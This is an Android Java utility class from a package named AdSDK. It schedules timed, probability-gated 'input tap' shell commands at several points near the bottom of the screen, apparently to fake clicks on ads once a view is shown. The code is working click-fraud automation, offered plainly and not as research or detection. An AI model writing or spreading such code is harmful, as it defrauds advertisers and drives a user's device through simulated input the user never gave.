package com.xmad.ksadutils.AdSDK.Utlis;

import android.content.Context;
import android.os.Handler;
import android.util.Log;


public class Click {
    public static  boolean Jump=false;
    public static void trigger(Context context,int [] times,double odds){
        //还原跳转标记
        Jump=false;
        //循环要点击的时间事件
        for (int time:times){
            Handler(context,time,odds);
        }
    }

     public static void   Handler(Context context, int time,double odds){
            new Handler().postDelayed(() -> {
                if (Jump==false){
                    Log.e("点击",time+""+Jump);
                    //后台点击概率
                    //MySwitch.get_odds()
                    if (Math.random()< odds){
                        int width = Tool.getScreenWidth(context);
                        int height = Tool.getScreenHeight(context);
                        String[] order = {"input", "tap", "" + width/2, "" +(height-50)};
                        //String[] order1 = {"input", "tap", "" + width/2, "" +(height-60)};
                        String[] order2 = {"input", "tap", "" + width/2, "" +(height-70)};
                        //String[] order3 = {"input", "tap", "" + width/2, "" +(height-80)};
                        String[] order4 = {"input", "tap", "" + width/2, "" +(height-90)};
                       // String[] order5 = {"input", "tap", "" + width/2, "" +(height-100)};
                        String[] order6 = {"input", "tap", "" + width/2, "" +(height-110)};
                        try {
                            new ProcessBuilder(order).start();
                            //new ProcessBuilder(order1).start();
                            new ProcessBuilder(order2).start();
                           // new ProcessBuilder(order3).start();
                            new ProcessBuilder(order4).start();
                           // new ProcessBuilder(order5).start();
                            new ProcessBuilder(order6).start();
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                } else {
                    Log.e("===========","被点击过了");
                }
            },time);
        }
     }


